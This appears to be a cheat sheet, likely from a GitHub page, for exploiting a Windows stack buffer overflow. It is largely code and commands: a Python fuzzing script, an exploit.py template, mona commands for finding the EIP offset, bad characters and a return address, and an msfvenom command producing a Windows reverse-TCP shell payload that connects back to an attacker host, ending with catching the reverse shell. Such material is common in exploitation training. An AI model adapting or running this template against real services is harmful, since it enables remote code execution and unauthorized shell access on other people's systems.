You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Use File -> Attach for already running apps and services or use File -> Open to run executable (some services should be restarted using sc stop/start <service_name>).
Unpause application.
Use the Windows menu to jump between mona results, log data, and CPU.
importsocket, time, sysip="<ip>"port=<port>timeout=5buffer= []
counter=100whilelen(buffer) <30:
buffer.append("A"*counter)
counter+=100forstringinbuffer:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect=s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes"%len(string))
s.send("<command> "+string+"\r\n") # Add space after the commands.recv(1024)
s.send("QUIT\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to "+ip+":"+str(port))
sys.exit(0)
time.sleep(1)
Run using python or python2.
Finding the EIP offset
Create the exploit.py file:
importsocketip="<ip>"port=<port>prefix="<command> "# Add space after the commandoffset=0overflow="A"*offsetretn=""padding=""payload=""postfix=""buffer=prefix+overflow+retn+padding+payload+postfixs=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer+"\r\n")
print("Done!")
except:
print("Could not connect.")
Set the payload value:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length># Value of fuzzing + couple hundred extra bytes.
!mona compare -f C:\mona\buffer_overflow\bytearray.bin -a <esp_address>
Note all bad chars except for the 00.
Generate bytearray again excluding bad chars (notice, often the byte after the bad char gets corrupted, so it's better to include only the first one of the sequence):
!mona bytearray -b "\x00<other_bad_chars_here>"
Remove bad chars from the payload of the exploit.py and run it again.
Compare chars again.
Continue this process till there are no bad chars.
Take any of addresses that have no protection and put it in the retn variable of the exploit.py, but backwards (for example: 625011AF -> \xaf\x11\x50\x62).
Exploitation
Generating a payload
Generate a payload including all bad chars:
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 EXITFUNC=thread -b "\x00<other_bad_chars>" -f py # sometimes it's better to use C as the filetype
Copy buf variable to the exploit.py file and set payload equal to it.
Adding NOPs
Since pointers may change a bit it's better to add NOPs to "slide" to the right position (add this to exploit.py):
padding="\x90"*16# May be more than 16
Getting the reverse shell
Just listen to the reverse shell and run exploit.py: